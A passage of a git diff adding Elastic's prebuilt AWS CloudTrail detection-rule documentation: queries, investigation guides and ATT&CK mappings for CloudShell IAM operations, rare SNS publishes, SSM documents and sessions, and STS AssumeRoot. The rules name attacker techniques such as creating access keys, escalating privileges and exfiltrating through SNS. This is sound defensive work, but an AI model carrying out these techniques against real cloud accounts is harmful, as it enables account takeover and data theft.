aws.cloudtrail.request_parameters like "*static/js/*.js*" + + // Exclude IaC and automation tools + and not ( + user_agent.original like "*Terraform*" + or user_agent.original like "*Ansible*" + or user_agent.original like "*Pulumi*" + ) + +// Extract fields from request parameters +| dissect aws.cloudtrail.request_parameters + "%{{?bucket.name.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_name}, %{?host.key}=%{Esql_priv.aws_cloudtrail_request_parameters_host}, %{?bucket.object.location.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_object_location}}" + +// Extract file name portion from full object path +| dissect Esql.aws_cloudtrail_request_parameters_bucket_object_location "%{}static/js/%{Esql.aws_cloudtrail_request_parameters_object_key}" + +// Match on JavaScript files +| where ends_with(Esql.aws_cloudtrail_request_parameters_object_key, ".js") + +// Retain relevant ECS and dissected fields +| keep + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.request_parameters, + Esql.aws_cloudtrail_request_parameters_bucket_name, + Esql.aws_cloudtrail_request_parameters_object_key, + user_agent.original, + source.ip, + event.action, + @timestamp, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Defacement +** ID: T1491 +** Reference URL: https://attack.mitre.org/techniques/T1491/ +* Sub-technique: +** Name: External Defacement +** ID: T1491.002 +** Reference URL: https://attack.mitre.org/techniques/T1491/002/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc new file mode 100644 index 0000000000..7d82d0ed24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-28-aws-sensitive-iam-operations-performed-via-cloudshell]] +=== AWS Sensitive IAM Operations Performed via CloudShell + +Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cloudshell/latest/userguide/welcome.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Threat Detection +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sensitive IAM Operations Performed via CloudShell* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. Attackers can use CloudShell to perform sensitive operations without leaving artifacts on their local systems. + +This rule detects high-risk IAM operations performed via CloudShell, including credential creation, user management, and policy attachment. These actions are commonly seen in post-compromise scenarios where attackers establish persistence or escalate privileges. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine which IAM principal performed the action. + - Check `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Investigate the console login event that established the CloudShell session. + +- **Analyze the specific action** + - Review `event.action` to understand exactly what operation was performed. + - For `CreateAccessKey` or `CreateUser`, identify the target principal and assess whether this was authorized. + - For policy attachments, review which policies were attached and to which entities. + +- **Review request and response details** + - Examine `aws.cloudtrail.request_parameters` for specifics like user names, policy ARNs, or role configurations. + - Check `aws.cloudtrail.response_elements` for created resource identifiers. + +- **Correlate with surrounding activity** + - Search for preceding events such as `ConsoleLogin` from the same session or IP address. + - Look for MFA bypass indicators or unusual login patterns before CloudShell usage. + - Check for subsequent use of any created credentials or roles. + +- **Assess the broader context** + - Determine if this CloudShell usage pattern is typical for this user. + - Review recent access patterns for the console session that initiated CloudShell. + + +*False positive analysis* + + +- Routine administrative tasks using CloudShell are common in some organizations. Create baseline profiles for users who regularly use CloudShell. +- Infrastructure automation testing may involve CloudShell for quick validation. Verify with the user. + + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session and revoke any created credentials. +- Rotate credentials for any IAM users or roles that may have been compromised. +- Review and remove any unauthorized users, access keys, roles, or policy attachments. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts. +- Implement session duration limits to reduce the window of opportunity for console session abuse. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ( + "CreateAccessKey" or + "CreateUser" or + "AttachUserPolicy" or + "PutUserPolicy" or + "CreateRole" or + "AttachRolePolicy" or + "PutRolePolicy" or + "CreateInstanceProfile" or + "AddRoleToInstanceProfile" + ) + and event.outcome: "success" + and user_agent.original: *CloudShell* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sns-topic-message-publish-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sns-topic-message-publish-by-rare-user.asciidoc new file mode 100644 index 0000000000..a57aeb9637 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sns-topic-message-publish-by-rare-user.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-28-aws-sns-topic-message-publish-by-rare-user]] +=== AWS SNS Topic Message Publish by Rare User + +Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/sns/latest/api/API_Publish.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ +* https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/ +* https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SNS +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Lateral Movement +* Tactic: Exfiltration +* Tactic: Impact + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS SNS Topic Message Publish by Rare User* + + +This rule identifies when a message is published to an SNS topic by a user who has rarely or never published messages before. This activity could indicate adversarial actions, such as using SNS topics for phishing campaigns, data exfiltration, or lateral movement within an AWS environment. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time by a user or role. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Resource**: + - **User Identity and Role**: Examine the `aws.cloudtrail.user_identity.arn` to identify the user or role responsible for publishing the SNS message. Verify whether this actor is authorized to publish messages to SNS topics. + - **Access Key Details**: Review the `aws.cloudtrail.user_identity.access_key_id` to determine the access key used. + - **SNS Topic ARN**: Analyze `aws.cloudtrail.resources.arn` to confirm whether the SNS topic is critical, sensitive, or used for authorized purposes. + +- **Evaluate the Context of the SNS Message**: + - **Published Message Details**: AWS redacts the message content in CloudTrail logs, but you can view the message ID, subject, and other metadata. Investigate the message details for any indicators of malicious content. + - **Message Recipients**: Investigate the subscriptions associated with the SNS topic to identify if messages were sent to unauthorized or unexpected recipients. + +- **Analyze Source Information**: + - **Source IP Address**: Examine the `source.ip` field to identify the origin of the activity. Unusual IP addresses or geolocations may indicate unauthorized access. + - **User Agent**: Review `user_agent.original` to determine the tool or client used for publishing the SNS message. Automated tools or unexpected clients (e.g., `Boto3` from an unknown host) may signify misuse. + +- **Review Historical Activity**: + - **Actor’s Past Behavior**: Identify whether the user has published messages to SNS topics before. Review similar past events for context. + - **Frequency and Patterns**: Examine the time and frequency of messages published by the same user or to the same SNS topic to detect anomalies. + +- **Correlate with Other Events**: + - **IAM or CloudTrail Events**: Look for events such as `AssumeRole`, `CreateAccessKey`, or other API actions associated with the same user ARN. + - **Unusual IAM Role Activity**: Determine if the actor has assumed roles or performed administrative tasks atypical for their role. + + +*False Positive Analysis* + + +- **Routine Operational Use**: + - Confirm if the publishing activity aligns with standard operational tasks or automation scripts. + - Validate whether new or rare users were recently granted permissions for publishing messages to SNS topics. + +- **Testing or Monitoring Scripts**: + - Automated testing or monitoring tools may trigger this rule if configured to publish messages to SNS topics. + + +*Response and Remediation* + + +- **Immediate Action**: + - If unauthorized activity is confirmed, disable the access key or IAM role associated with the user. + - Restrict or remove permissions from the SNS topic to prevent further misuse. + +- **Review Policies and Subscriptions**: + - Audit the IAM policies tied to the user and SNS topic to ensure appropriate permissions. + - Validate the subscriptions of the SNS topic to confirm all endpoints are authorized. + +- **Enhance Monitoring and Alerting**: + - Set up additional logging or alerting for SNS publish actions, especially from rare or unknown users. + - Monitor for similar actions across other SNS topics within the environment. + +- **Conduct a Root Cause Analysis**: + - Investigate how the user or role gained access to publish messages to the SNS topic. + - Determine if other AWS resources or services have been affected. + + +*Additional Information* + + +For more information on SNS topic management and securing AWS resources, refer to: +- https://docs.aws.amazon.com/sns/latest/api/API_Publish.html[AWS SNS Publish API Documentation] +- https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[AWS CloudTrail Documentation] + + +==== Setup + + +AWS SNS topic data event types need to be enabled in the CloudTrail trail configuration to capture the Publish action. Ensure that the AWS CloudTrail service is https://docs.aws.amazon.com/sns/latest/dg/logging-using-cloudtrail.html#cloudtrail-data-events[configured] to log data events for SNS. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" + and event.provider:"sns.amazonaws.com" + and event.action:"Publish" + and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Internal Spearphishing +** ID: T1534 +** Reference URL: https://attack.mitre.org/techniques/T1534/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ssm-command-document-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ssm-command-document-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..1f054f9f57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ssm-command-document-created-by-rare-user.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-28-aws-ssm-command-document-created-by-rare-user]] +=== AWS SSM Command Document Created by Rare User + +Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateDocument.html +* https://docs.aws.amazon.com/systems-manager/latest/userguide/documents.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Execution + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Command Document Created by Rare User* + + +This rule identifies when an AWS Systems Manager (SSM) command document is created by a user who does not typically perform this action. Creating SSM command documents can be a legitimate action but may also indicate malicious intent if done by an unusual or compromised user. Adversaries may leverage SSM documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, or data exfiltration. + + +*Possible Investigation Steps* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify who created the SSM document. Verify if this user typically creates such documents and has the appropriate permissions. It may be unexpected for certain types of users, like assumed roles or federated users, to perform this action. +- **Analyze the Document Details**: + - **Document Name**: Check the `aws.cloudtrail.request_parameters.name` field for the document name to understand its intended purpose. + - **Document Content**: If possible, review `aws.cloudtrail.request_parameters.content` for any sensitive or unexpected instructions (e.g., actions for data exfiltration or privilege escalation). If not available via logs, consider reviewing the document in the AWS Management Console. +- **Contextualize the Activity with Related Events**: Look for other CloudTrail events involving the same user ARN or IP address (`source.ip`). Examine actions performed in other AWS services, such as IAM, EC2, or S3, to identify if additional suspicious behavior exists. The `SendCommand` API call may indicate attempts to execute the SSM document on managed instances. +- **Check Document Status and Metadata**: + - **Document Status**: Confirm the document creation status in `aws.cloudtrail.response_elements.documentDescription.status`. A status of `Creating` may indicate that the document is in progress. + - **Execution Permissions**: Review if the document specifies `platformTypes` and `documentVersion` in `aws.cloudtrail.response_elements.documentDescription` to understand which environments may be impacted and if multiple versions exist. + + +*False Positive Analysis* + + +- **Authorized Administrative Actions**: Determine if this document creation aligns with scheduled administrative tasks or actions by authorized personnel. +- **Historical User Actions**: Compare this action against historical activities for the user to determine if they have a history of creating similar documents, which may indicate legitimate usage. + + +*Response and Remediation* + + +- **Immediate Document Review and Deletion**: If the document creation is deemed unauthorized, delete the document immediately and check for other similar documents created recently. +- **Enhance Monitoring and Alerts**: Configure additional monitoring for SSM document creation events, especially when associated with untrusted or rare users. +- **Policy Update**: Consider restricting SSM document creation permissions to specific, trusted roles or users to prevent unauthorized document creation. +- **Incident Response**: If the document is confirmed as part of malicious activity, treat this as a security incident. Follow incident response protocols, including containment, investigation, and remediation. + + +*Additional Information* + + +For further guidance on managing and securing AWS Systems Manager in your environment, refer to the https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html[AWS SSM documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and event.action: "CreateDocument" + and event.outcome: "success" + and aws.cloudtrail.flattened.response_elements.documentDescription.documentType: "Command" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ssm-session-started-to-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ssm-session-started-to-ec2-instance.asciidoc new file mode 100644 index 0000000000..f4ba7c9a39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-ssm-session-started-to-ec2-instance.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-28-aws-ssm-session-started-to-ec2-instance]] +=== AWS SSM Session Started to EC2 Instance + +Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_StartSession.html +* https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc +* https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Session Started to EC2 Instance* + + +This rule detects the first instance of an AWS user or role initiating an SSM session to an EC2 instance, which could be indicative of legitimate administrative activities or potential malicious actions like command execution or lateral movement. + + +*Possible Investigation Steps* + + +- **Examine the Session Start Event**: Review the AWS CloudTrail log for the event. + - Determine the target EC2 instance using `aws.cloudtrail.request_parameters`. +- **Verify User Identity and Role**: Check the user’s ARN and access key ID (`aws.cloudtrail.user_identity.access_key_id`). + - Determine if their role typically requires initiating SSM sessions. +- **Assess Geographic and IP Context**: Analyze the source IP (`source.ip`) and geographic location (`source.geo`) from which the session was initiated. + - Determine if these are consistent with typical user locations or if they raise suspicions of compromise or misuse. +- **Review Session Details**: Examine details like the session ID and stream URL (`aws.cloudtrail.response_elements`) to understand the scope and nature of the session. + - Check if any commands executed during the session were unauthorized or out of ordinary practices. +- **Correlate with Other Security Events**: Look for other related security events around the time of the session start to identify any pattern or broader attack vector that may involve this user or EC2 instance. + + +*False Positive Analysis* + + +- **Legitimate Administrative Activities**: Confirm whether the SSM session was initiated for valid administrative purposes such as system maintenance, patching, or configuration updates. Verify with the respective teams or personnel. + + +*Response and Remediation* + + +- **Incident Response Activation**: If malicious intent or actions are confirmed, activate the incident response protocol. + - This includes containment of the threat, eradication of the adversary’s presence, recovery of affected systems, and a thorough investigation. +- **Validate and Reinforce Security Policies**: Ensure that policies around SSM session initiation are strict and adhere to the principle of least privilege. + - Update IAM policies if necessary to tighten controls. +- **Enhance Monitoring and Alerts**: Improve monitoring of SSM sessions, particularly focusing on sessions that involve sensitive or critical EC2 instances. + - Adjust alerting mechanisms to flag unusual session initiations promptly. + + +*Additional Information* + + +For more in-depth understanding of managing SSM sessions and security best practices, refer to the https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_StartSession.html[AWS Systems Manager documentation]. Additionally, consider the security implications and best practices outlined in https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc[AWS SSM privilege escalation techniques]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" and event.provider:"ssm.amazonaws.com" + and event.action:"StartSession" and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc new file mode 100644 index 0000000000..dc4681bc86 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc @@ -0,0 +1,230 @@ +[[prebuilt-rule-8-19-28-aws-sts-assumeroot-by-rare-user-and-member-account]] +=== AWS STS AssumeRoot by Rare User and Member Account + +Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS AssumeRoot by Rare User and Member Account* + + +AWS STS `AssumeRoot` issues temporary credentials that grant elevated access into a member account, constrained by the +task policy and target policy attached to the request. In normal operations, only a small set of platform, security, or +automation roles should ever need to perform `AssumeRoot`, and typically only against a predictable set of member +accounts. + +This rule is a New Terms rule that detects when a previously unseen combination of calling principal (`aws.cloudtrail.user_identity.arn`) and target member account (`aws.cloudtrail.resources.account_id`) successfully invokes `AssumeRoot`. Activity that matches this pattern may indicate privilege escalation, lateral movement into a new account, abuse of cross-account access paths, or misuse of administrative workflows. + + +*Possible investigation steps* + + +- **Identify the actor and target context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine: + - Whether the caller is an IAM user, federated user, or role. + - Whether this identity is normally used for organization-level administration or automation. + - Inspect `aws.cloudtrail.resources.account_id` and `aws.cloudtrail.recipient_account_id` to identify the affected member account. + - Check `source.address`, `source.geo.*`, and `user_agent.original` to understand where and how the call was made (console, CLI, SDK, automation runner, VPN, corporate IP, etc.). + +- **Understand session, policy, and target details** + - Examine `aws.cloudtrail.request_parameters` for: + - `taskPolicyArn` – which predefined task policy was requested and what category of operations it enables (e.g., investigation, remediation, read-only, or broad admin). + - `targetPrincipal` and/or related target fields – which member account principal is being accessed. + - Any duration or configuration parameters (such as `durationSeconds`) that indicate unusually long-lived sessions. + - In `aws.cloudtrail.response_elements`, review: + - `credentials.accessKeyId` and `credentials.expiration` to confirm that credentials were successfully issued and how long they are valid. + - Any additional response fields that indicate session constraints or failures (if present). + +- **Correlate follow-on activity from the assumed root session** + - Use the temporary access key from `aws.cloudtrail.response_elements.credentials.accessKeyId` to pivot in CloudTrail: + - Search for subsequent events where `aws.cloudtrail.user_identity.access_key_id` matches that key. + - Look for high-impact actions such as: + - IAM changes (`iam:CreateUser`, `iam:AttachRolePolicy`, `iam:PutRolePolicy`, `iam:UpdateAssumeRolePolicy`). + - Guardrail changes (CloudTrail, Security Hub, Config, GuardDuty configuration or detector changes). + - Data-impacting actions (S3 bucket policy changes, RDS/RDS snapshot operations, EFS/RDS delete, secrets reads). + - Correlate with any prior events for the calling identity: + - STS calls that created the session used to invoke `AssumeRoot` (e.g., `AssumeRole`, SSO/identity provider activity). + - Recent IAM policy updates that broadened its ability to perform cross-account administration. + +- **Assess timing and operational alignment** + - Use `@timestamp`, `cloud.region`, and your change calendar to determine: + - Whether the event occurred during a documented maintenance window or deployment. + - Whether the region and account align with the caller’s normal operational scope. + - Compare with other events in the same time window: + - Organization-level changes, new account creation, or migration work. + - Other sensitive operations from the same `source.ip` or principal. + +- **Validate with owners** + - Confirm with: + - Cloud/infra platform teams that normally operate organization-level admin roles. + - Security/IR teams if they were running an investigation workflow that legitimately uses `AssumeRoot`. + - Check whether the use of `AssumeRoot` is documented in CI/CD or automation designs that might have just expanded to this account, explaining the New Terms trigger. + + +*False positive analysis* + + +- **Legitimate administrative cross-account access** + - Platform, security, or central operations teams may use `AssumeRoot` as part of sanctioned workflows for: + - New account onboarding. + - Centralized remediation or investigation. + - Complex deployment or migration tasks. + - If this is the first time a specific engineer or automation role is onboarded to a given member account, the rule will fire once because it is a New Terms rule. Validate and, if appropriate, document this as expected behavior. + +- **Automation and scheduled workflows** + - CI/CD pipelines, organization-wide maintenance jobs, or incident response automation may use `AssumeRoot`: + - Identify automation roles and service principals that legitimately call `AssumeRoot`. + - Tune with rule exceptions based on `aws.cloudtrail.user_identity.arn`, `user_agent.original`, or specific `taskPolicyArn` values used only by trusted workflows. + +If a pattern emerges where specific roles regularly and legitimately assume root into a consistent set of accounts, consider documenting those identities and, if appropriate, creating narrow exceptions — while preserving coverage for new, unexpected combinations. + + +*Response and remediation* + + +- **Contain potentially unauthorized sessions** + - If the activity appears suspicious or unapproved: + - Invalidate the credentials issued by `AssumeRoot` (where supported) or constrain their impact by immediately tightening IAM, SCPs, or network controls in the affected member account. + - Rotate or revoke long-lived access keys associated with the calling principal. + - Temporarily restrict permissions on roles allowed to call `AssumeRoot` until the investigation is complete. + +- **Investigate scope and impact** + - Using CloudTrail: + - Enumerate all actions performed with the `AssumeRoot` session access key and identify: + - Privilege changes (IAM users, roles, policies, permission boundaries, SCPs). + - Changes to logging and security controls (CloudTrail, GuardDuty, Security Hub, Config, firewall/WAF rules). + - Data-impacting operations on high-value services (S3, RDS, DynamoDB, Secrets Manager, KMS). + - Check if similar `AssumeRoot` activity has occurred recently from the same `source.ip`, principal, or member account. + - Engage application, data, and platform owners for the impacted account(s) to: + - Assess potential data exposure, integrity issues, or downtime. + - Determine whether any actions conflict with intended change plans. + +- **Hardening and preventive controls** + - Restrict and monitor `AssumeRoot` usage: + - Limit which IAM roles and identities can call `sts:AssumeRoot`, using IAM conditions (e.g., `aws:PrincipalArn`, `aws:PrincipalOrgID`, `aws:RequestedRegion`). + - Where possible, require strong authentication on the initiating principal (MFA, federated SSO, device posture). + - Add guardrails and observability: + - Use AWS Config, Security Hub, and/or AWS Organizations SCPs to: + - Detect or constrain highly privileged cross-account actions. + - Ensure logging and monitoring services cannot be disabled or modified by assumed sessions without additional friction. + 